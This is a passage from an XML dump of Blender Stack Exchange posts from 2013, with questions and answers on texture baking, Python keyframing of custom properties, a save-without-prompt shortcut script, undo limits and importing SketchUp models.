LastActivityDate="2015-05-04T00:19:31.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3006" PostTypeId="1" AcceptedAnswerId="3008" CreationDate="2013-09-19T12:06:33.843" Score="9" ViewCount="3365" Body="&lt;p&gt;My objective is to make models for android so I want to bake textures on low poly (plane) in case of a high poly floppy disk. I want the textures to appear on both sides of the plane. I tried &quot;Full render but all in vain&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: This is because I did not check &quot;Selected To Active&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I did a full render bake, this is what I got&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F3EV1.png&quot; alt=&quot;Full render bake&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you enlist steps to do this??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly if instead of a plane, i make a cuboid and I want textures to appear on all sides of the cuboid as if someone take picture and apply on the faces of the cuboid. How is that possible??&lt;/p&gt;&#xA;" OwnerUserId="1291" LastEditorUserId="1291" LastEditDate="2013-09-20T05:50:33.350" LastActivityDate="2016-08-06T21:28:21.107" Title="How to bake &quot;full render&quot; in blender" Tags="&lt;uv&gt;&lt;baking&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3007" PostTypeId="2" ParentId="2988" CreationDate="2013-09-19T14:09:11.337" Score="3" Body="&lt;p&gt;The problem seemed to be that the imported collada file had multiple sets of clones of the same keyframes - 5 in my case. I'm not sure if this is a problem with the current collada import script or just with certain files, but I managed to fix the file by deleting all but the last set of cloned keyframes for each bone via the dopesheet. Once this was done I could successfully change the Quaternion channels and keyframe them as per normal. The imported animation is preserved and now editable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jQ1rt.jpg&quot; alt=&quot;mu&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="719" LastActivityDate="2013-09-19T14:09:11.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3008" PostTypeId="2" ParentId="3006" CreationDate="2013-09-19T15:16:25.577" Score="9" Body="&lt;p&gt;Select the high poly then the low poly mesh. So the active will be the low poly. Check the option &lt;i&gt;Selected to Active&lt;/i&gt; in the &lt;i&gt;Bake&lt;/i&gt; panel. Here is an example:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ylh0z.png&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be able to do this you have to UV unwrap the plane or cuboid and assign&#xA;a texture for the UV to bake on. But you have already done this. :) To use&#xA;a cubeoid, you simply have to adjust it so that it represents the models&#xA;geometry as close as possible.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2016-08-06T21:28:21.107" LastActivityDate="2016-08-06T21:28:21.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3009" PostTypeId="1" AcceptedAnswerId="3012" CreationDate="2013-09-19T20:25:54.427" Score="10" ViewCount="1530" Body="&lt;p&gt;I'm accustomed to saving frequently using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; in Blender. Each time I do this, Blender pops up the &quot;Save Over?&quot; button, which I have to click (or press Enter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gets in the flow of things. Is there a &lt;em&gt;reasonably simple&lt;/em&gt; method to disable this behavior and just Save Over without prompting. (Reasonably simple meaning without modifying Blender's source code.)&lt;/p&gt;&#xA;" OwnerUserId="978" LastEditorUserId="599" LastEditDate="2013-09-20T01:41:44.833" LastActivityDate="2013-09-20T01:55:22.607" Title="How to disable the &quot;Save Over&quot; popup" Tags="&lt;customization&gt;&lt;interface&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3010" PostTypeId="2" ParentId="3004" CreationDate="2013-09-19T20:35:17.700" Score="7" Body="&lt;p&gt;For the 4th case I found this workflow most convienent:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ncHOY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Poke one face &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; basically to limit loop-cuts in next step&lt;/li&gt;&#xA;&lt;li&gt;Add the loop-cuts&lt;/li&gt;&#xA;&lt;li&gt;Remove the middle vertex of the face 'poked' in step 1.&lt;/li&gt;&#xA;&lt;li&gt;Extrude the points from the loop-cuts ends and create the required faces. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OuzGk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3rd case:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Poke two faces side by side &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; basically to limit loop-cuts in next step&lt;/li&gt;&#xA;&lt;li&gt;Add the loop-cuts&lt;/li&gt;&#xA;&lt;li&gt;Remove edges&lt;/li&gt;&#xA;&lt;li&gt;Subdivide the middle edge&lt;/li&gt;&#xA;&lt;li&gt;Add edges and finally faces&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-09-19T21:10:59.657" LastActivityDate="2013-09-19T21:10:59.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3012" PostTypeId="2" ParentId="3009" CreationDate="2013-09-19T21:56:20.230" Score="7" Body="&lt;p&gt;To the best of my knowledge, this cannot be changed. Here are a few workarounds that might be helpful however.&lt;/p&gt;&#xA;&lt;h2&gt;Use a script&lt;/h2&gt;&#xA;&lt;p&gt;If you use the command &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_63_2/bpy.ops.wm.html#bpy.ops.wm.save_mainfile&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bpy.ops.wm.save_mainfile()&lt;/code&gt;&lt;/a&gt; and register a shortcut, you would just need to do a normal save once &lt;em&gt;(for Blender to get the path)&lt;/em&gt; and after that, use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Y&lt;/kbd&gt; as I have done in the script below to save without any popups. &lt;em&gt;(You can also change this if you want, see the commented line).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class SaveWithoutPrompt(bpy.types.Operator):&#xA;    bl_idname = &amp;quot;object.save_without_prompt&amp;quot;&#xA;    bl_label = &amp;quot;Save without prompt&amp;quot;&#xA;&#xA;    def execute(self, context):&#xA;        bpy.ops.wm.save_mainfile()&#xA;        return {'FINISHED'}&#xA;&#xA;def menu_func(self, context):&#xA;    self.layout.operator(SaveWithoutPrompt.bl_idname)&#xA;&#xA;addon_kmaps = []&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SaveWithoutPrompt)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    km = wm.keyconfigs.addon.keymaps.new(name='Object Mode', space_type='EMPTY')&#xA;    # change the shortcut here..&#xA;    kmi = km.keymap_items.new(SaveWithoutPrompt.bl_idname, 'Y', 'PRESS', ctrl=True, shift=True)&#xA;    addon_kmaps.append(km)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SaveWithoutPrompt)&#xA;    bpy.types.VIEW3D_MT_object.remove(menu_func)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    for km in addon_kmaps:&#xA;        wm.keyconfigs.addon.kmaps.remove(km)&#xA;    del addon_kmaps[:]&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;br /&gt;&#xA;&lt;h2&gt;Set the autosave feature to save more often&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D1yOI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You could have Blender save a copy of the file you are working on every minute. This runs in the background so no popups. You can find this feature under the &lt;em&gt;File&lt;/em&gt; tab in your &lt;em&gt;User Preferences&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Related, &lt;a href=&quot;https://blender.stackexchange.com/q/1212/12&quot;&gt;Blender saves a new file every time&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-20T01:55:22.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3013" PostTypeId="1" AcceptedAnswerId="3014" CreationDate="2013-09-19T21:59:41.003" Score="15" ViewCount="3950" Body="&lt;p&gt;How can I add keyframes to custom properties with python?  Usually, I can use the function &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object.keyframe_insert(data_path=&quot;location&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I couldn't find the right data_path of a custom property.&lt;/p&gt;&#xA;" OwnerUserId="1314" LastEditorUserId="1112" LastEditDate="2014-02-18T08:30:45.837" LastActivityDate="2014-02-18T08:30:45.837" Title="Insert keyframe on an object's custom property with Python" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3014" PostTypeId="2" ParentId="3013" CreationDate="2013-09-19T22:20:19.840" Score="16" Body="&lt;p&gt;Keyframes on custom properties use Python's getitem/setitem syntax rather then getattr/setattr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This matches python api, where you would access &lt;code&gt;object.location&lt;/code&gt; as an attribute and &lt;code&gt;object[&quot;prop&quot;]&lt;/code&gt; for a custom property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you would need to write it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object.keyframe_insert(data_path='[&quot;prop&quot;]')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you have to use &lt;code&gt;&quot;&lt;/code&gt; quotes, not &lt;code&gt;'&lt;/code&gt;,&lt;br&gt;&lt;code&gt;'[&quot;prop&quot;]'&lt;/code&gt; can be written as &lt;code&gt;&quot;[\&quot;prop\&quot;]&quot;&lt;/code&gt; too of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think we have this documented, I'll have to double check though.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-19T22:20:19.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3015" PostTypeId="2" ParentId="3000" CreationDate="2013-09-19T22:27:40.250" Score="2" Body="&lt;p&gt;Select your object and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; &lt;em&gt;Apply Scale&lt;/em&gt;. This will set scale of both objects to &lt;em&gt;1.0, 1.0, 1.0&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you applied the scale, you must have scaled the objects along the X-Axis at one point. This will change the dimensions of the object, but the scale will be something like: &lt;em&gt;5.0, 1.0, 1.0&lt;/em&gt;. This won't change much in the 3D view, but BGE will reset all scales to 1.0 which (as you noticed) causes issues.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-09-19T22:27:40.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3016" PostTypeId="2" ParentId="3009" CreationDate="2013-09-19T23:44:47.080" Score="3" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;,&#xA;The way the save operator (&lt;code&gt;bpy.ops.wm.save_mainfile&lt;/code&gt;) works is when its activated with the filepath property set (as with &lt;code&gt;File -&amp;gt; Save&lt;/code&gt;), it will execute immediately, but when its activated from a key-binding where the filepath is not set. it will activate a popup menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way around this is to create your own operator which calls &lt;code&gt;bpy.ops.wm.save_mainfile&lt;/code&gt; with the filepath set. Then bind the key to this new operator.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-19T23:44:47.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3017" PostTypeId="1" CreationDate="2013-09-20T06:09:06.407" Score="6" ViewCount="429" Body="&lt;p&gt;I want models to be low poly for mobile development. So I want to bake textures of highly detailed models downloaded from internet, to sides of a cuboid(that closely fits the original model). This will make the new model look almost alike and high detailed while reducing the polygon count. I have achieved some success with baking a &quot;Full Render&quot; on a plane (although I'm not sure why pink appears black, suggestions are welcome)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I will use unshaded in jMonkey, so I don't want normal maps. I think &quot;Full Render&quot; is all I need. Suggestions are welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of jMonkey unshaded material properties:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Hb2mU.png&quot; alt=&quot;jMonkey unshaded.j3md material properties&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ChTAw.png&quot; alt=&quot;Full render bake&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How will using a cuboid and baking all sides &quot;Full render&quot; of the model to its faces compared to using a more detailed retopo of the original model and baking textures to the UV unwrap of it??&lt;/li&gt;&#xA;&lt;li&gt;How should I retopo the model (in this case)?&lt;/li&gt;&#xA;&lt;li&gt;How to bake textures in one go to all sides of such cuboid/ retopo of the model.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would be glad if someone could enumerate the steps in which I can achieve so?&lt;/p&gt;&#xA;" OwnerUserId="1291" LastEditorUserId="2217" LastEditDate="2014-07-29T00:18:36.517" LastActivityDate="2014-07-29T00:18:36.517" Title="How to bake all sides of a model on a cuboid?" Tags="&lt;workflow&gt;&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3018" PostTypeId="2" ParentId="2998" CreationDate="2013-09-20T07:06:26.663" Score="2" Body="&lt;p&gt;Using gandalf3 answer and combining it with a &lt;a href=&quot;https://blender.stackexchange.com/questions/2995/are-there-more-standard-patterns-besides-diamonds-which-will-preserve-quad-only&quot;&gt;diamond shape&lt;/a&gt; which splits one loop-cut to three I found this all-quads solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CjT7Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2013-09-20T07:06:26.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3019" PostTypeId="2" ParentId="3017" CreationDate="2013-09-20T07:52:26.067" Score="2" Body="&lt;p&gt;1: When this object is not shown closely in the game, then it is good enough to use a cubeoid. Performace issue might be only noticable when there are multiple disks on the scene, but this is not certain. Pushing a mesh with 50 polygons to the GPU istead 6 polygons will only cost minimal time, and rendering it out might be the same speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: When the disk is shown more closely, the retopo might add realism to it. This looks like a mesh easy to retopo. You should whach some modeling tutorials. Starting from a cube, loop-cuting here and there, deforming the sucface, experiment with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3: More deeply below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can bake simply the way you baked the plane. In the examples,&#xA;the low-poly object is set to be displayed as wireframe. You set&#xA;up a UV mapping, texture to bake on, and then bake. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gNJZn.png&quot; alt=&quot;UVMap&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sjQAL.png&quot; alt=&quot;Textures&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: You should use the shown unshaded material only in case, the entity and lighting will be static. In this case you could bake textures and shadows and save them as separate images and put them in the proper slot for the material, but Full Render might be also good in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the object is dinamic, or the lighting, then you should not use unshaded. Mix (multiply) two images, an abient occlusion, and the textures, and use that with a vertex-lit shader. This would be still pretty good performing. I also add the image with the normals to be complete, although you said that you do not need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tb0Ec.png&quot; alt=&quot;AO&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JxFEv.png&quot; alt=&quot;Normals&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-03-10T09:58:28.153" LastActivityDate="2014-03-10T09:58:28.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3020" PostTypeId="1" CreationDate="2013-09-20T08:06:18.807" Score="4" ViewCount="15892" Body="&lt;p&gt;I want to import Sketchup models in blender. For that, I tried exporting models form sketchup in various formats using the built in exporter in Sketchup followed by import in blender. The model looked fine in Sketchup but when I imported it in blender using &quot;Import Model&quot;, the model's body mesh gets triangulated. This is making the model useless for me as it is very hard to work with in blender. Especially circular parts gets triangulated to a number of portions and are very hard to scale/ rotate etc.&#xA;Please suggest how should I import/export the model correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In sketchup&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2r0Mn.png&quot; alt=&quot;Sketchup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TvDO4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the procedure above for &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Collada&lt;/li&gt;&#xA;&lt;li&gt;obj&lt;/li&gt;&#xA;&lt;li&gt;3dS Max&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The model looks same with all formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to sketchup model: &lt;a href=&quot;http://sketchup.google.com/3dwarehouse/details?mid=a91cb0fd50d4b2cc5599acd1021b314d&amp;amp;prevstart=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sketchup.google.com/3dwarehouse/details?mid=a91cb0fd50d4b2cc5599acd1021b314d&amp;amp;prevstart=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1291" LastEditorUserId="1291" LastEditDate="2013-09-23T10:53:26.863" LastActivityDate="2013-09-25T00:20:42.970" Title="How to prevent triangulation of models when importing models from sketchup to blender?" Tags="&lt;import&gt;&lt;collada&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3021" PostTypeId="2" ParentId="2978" CreationDate="2013-09-20T10:42:40.903" Score="11" Body="&lt;p&gt;Just for the record, if you are using a very old version of blender that does not have vertex slide functionality:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select one of the end vertices&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; --&gt; Cursor To Selected&lt;/li&gt;&#xA;&lt;li&gt;Select the middle vertex&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;.&lt;/kbd&gt; (period) Set cursor as pivot point&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;S&lt;/kbd&gt; Now you can move the middle vertex along the line&lt;/li&gt;&#xA;&lt;li&gt;When you are done, reset the pivot point with &lt;kbd&gt;,&lt;/kbd&gt; (comma)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="87" LastEditorUserId="12" LastEditDate="2013-12-29T17:52:09.843" LastActivityDate="2013-12-29T17:52:09.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3023" PostTypeId="1" AcceptedAnswerId="3028" CreationDate="2013-09-20T16:49:04.733" Score="9" ViewCount="10240" Body="&lt;p&gt;I pressed a button and I cant seem to get back to the normal perspective view, everything looks like it's being seen from a telescope. Orthographic view is still displayed normally but perspective view looks like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kF2xx.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I revert this?&lt;/p&gt;&#xA;" OwnerUserId="1317" LastEditorUserId="12" LastEditDate="2013-09-20T20:41:14.630" LastActivityDate="2013-09-20T20:41:14.630" Title="How do I reset the viewport lens angle?" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3024" PostTypeId="2" ParentId="3023" CreationDate="2013-09-20T16:55:44.143" Score="1" Body="&lt;p&gt;You could try if one or more of the following shortcuts help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ESC (cancel any actions)&lt;/li&gt;&#xA;&lt;li&gt;Numpad 5 (switch orthogonal / perspective view)&lt;/li&gt;&#xA;&lt;li&gt;q (quit game engine)&lt;/li&gt;&#xA;&lt;li&gt;Numpad 1 (front view)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't know what your view actually is, but probably they help.&lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2013-09-20T16:55:44.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3025" PostTypeId="1" CreationDate="2013-09-20T17:03:42.737" Score="5" ViewCount="858" Body="&lt;p&gt;In particular, I'm looking for a simple way to collapse all the N and T panels.  I'm using a number of addons and things are starting to get a little cumbersome wheeling up and down to find something so I'd like to collapse them all at once and then expand just the one I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there an API that could make use of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="809" LastActivityDate="2013-09-21T17:02:51.393" Title="Is it possible to expand/collapes all panels in a region with a keystroke or shortcut?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3026" PostTypeId="1" AcceptedAnswerId="3040" CreationDate="2013-09-20T17:04:16.320" Score="31" ViewCount="39553" Body="&lt;p&gt;I've been working on a mesh in edit mode, and have done several hundred actions. After realizing I was clearly going in the wrong direction, I hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; a bunch of times, but it only took me back 20-30 steps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I leave edit mode and press undo, it undoes ALL the hard work I've been working on for the past hour and a half.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I probably can't save this mesh, but how can I get more undo actions when in edit mode?&lt;/p&gt;&#xA;" OwnerUserId="341" LastEditorUserId="55" LastEditDate="2013-09-24T05:11:13.167" LastActivityDate="2019-09-11T23:55:38.800" Title="How increase/decrease undo steps?" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3027" PostTypeId="2" ParentId="3026" CreationDate="2013-09-20T17:24:54.090" Score="2" Body="&lt;p&gt;You can set the number of Undo steps in the Editing tab in User Preferences.  More steps means more memory will be allocated to this function.  If you set the Memory Limit to 0 then Blender will use whatever is available to it&lt;/p&gt;&#xA;" OwnerUserId="809" LastActivityDate="2013-09-20T17:24:54.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3028" PostTypeId="2" ParentId="3023" CreationDate="2013-09-20T17:29:54.743" Score="14" Body="&lt;p&gt;In the View section of the N panel in 3d view, change the Lens value back to 35. it's probably at 3 or something&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GAAlh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-09-20T17:36:13.230" LastActivityDate="2013-09-20T17:36:13.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3029" PostTypeId="2" ParentId="3026" CreationDate="2013-09-20T17:41:19.253" Score="2" Body="&lt;p&gt;The number of undo steps can be configured in the User Preferences (Editing tab), but &lt;s&gt;64&lt;/s&gt; 256 is the maximum possible value.&lt;br&gt;&#xA;You can also set a memory limit where 0 means unlimited.&lt;/p&gt;&#xA;" OwnerUserId="633" LastEditorUserId="633" LastEditDate="2015-04-23T15:53:50.723" LastActivityDate="2015-04-23T15:53:50.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3030" PostTypeId="1" AcceptedAnswerId="3033" CreationDate="2013-09-20T17:52:22.400" Score="6" ViewCount="406" Body="&lt;p&gt;I was trying some older versions but version numbers and release versions are not clear to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance how can I know what is the most stable release of a given version, say 2.49:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://download.blender.org/release/&quot; rel=&quot;nofollow&quot;&gt;folder listing&lt;/a&gt; looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-none prettyprint-override&quot;&gt;&lt;code&gt;...&#xA;Blender2.49/    2009-Jun-04 09:24:18    -   Directory&#xA;Blender2.49a/   2011-Jul-11 16:08:09    -   Directory&#xA;Blender2.49b/   2009-Sep-16 09:53:26    -   Directory&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, which one is the stable release, is it the &quot;newest one&quot;?, so what does the letter &lt;strong&gt;a&lt;/strong&gt; stand for, is it alpha?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it related with the &lt;a href=&quot;http://en.wikipedia.org/wiki/Software_release_life_cycle&quot; rel=&quot;nofollow&quot;&gt;software release life cycle&lt;/a&gt; common acceptance?&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="372" LastEditDate="2013-09-22T22:26:22.770" LastActivityDate="2013-09-22T22:26:22.770" Title="Blender release life cycle and versioning" Tags="&lt;versions&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3031" PostTypeId="2" ParentId="2967" CreationDate="2013-09-20T18:17:11.620" Score="2" Body="&lt;p&gt;Another option would be Spline IK rig like shown here &lt;a href=&quot;http://getblended.org/2013/03/385/&quot; rel=&quot;nofollow&quot;&gt;http://getblended.org/2013/03/385/&lt;/a&gt;&#xA;It bends and stretches quite nicely; no idea if that is transferable to Unity though.&lt;/p&gt;&#xA;" OwnerUserId="1318" LastActivityDate="2013-09-20T18:17:11.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3032" PostTypeId="1" AcceptedAnswerId="3037" CreationDate="2013-09-20T18:38:24.120" Score="10" ViewCount="2112" Body="&lt;p&gt;I would like my script to do the following :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Save selected object's name and add an object (automation)&lt;/li&gt;&#xA;&lt;li&gt;Let user move the added object where he wants (user input, stopped with leftclick)&lt;/li&gt;&#xA;&lt;li&gt;Move the 3D cursor to where the object was moved, delete that object and reselect the original object (automation)&lt;/li&gt;&#xA;&lt;li&gt;Let user move the original object where he wants (user input, stopped with leftclick) and terminate the script.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I tried to modify the template &quot;simple modal operator&quot;, but without success. I looked the doc, googled, watched other scripts which are modal... nothing. The best I did get was to reach step 3, but then the script seems to ignore the line where I change the active object. The same line works in the python console...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't specifically want the solution for my case, but at least if someone could explain how to properly alternate many times between user input and automated steps, it would be nice.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="1363" LastEditDate="2014-03-09T18:11:52.853" LastActivityDate="2014-03-09T18:11:52.853" Title="Alternate between user input and automation in one-step script" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
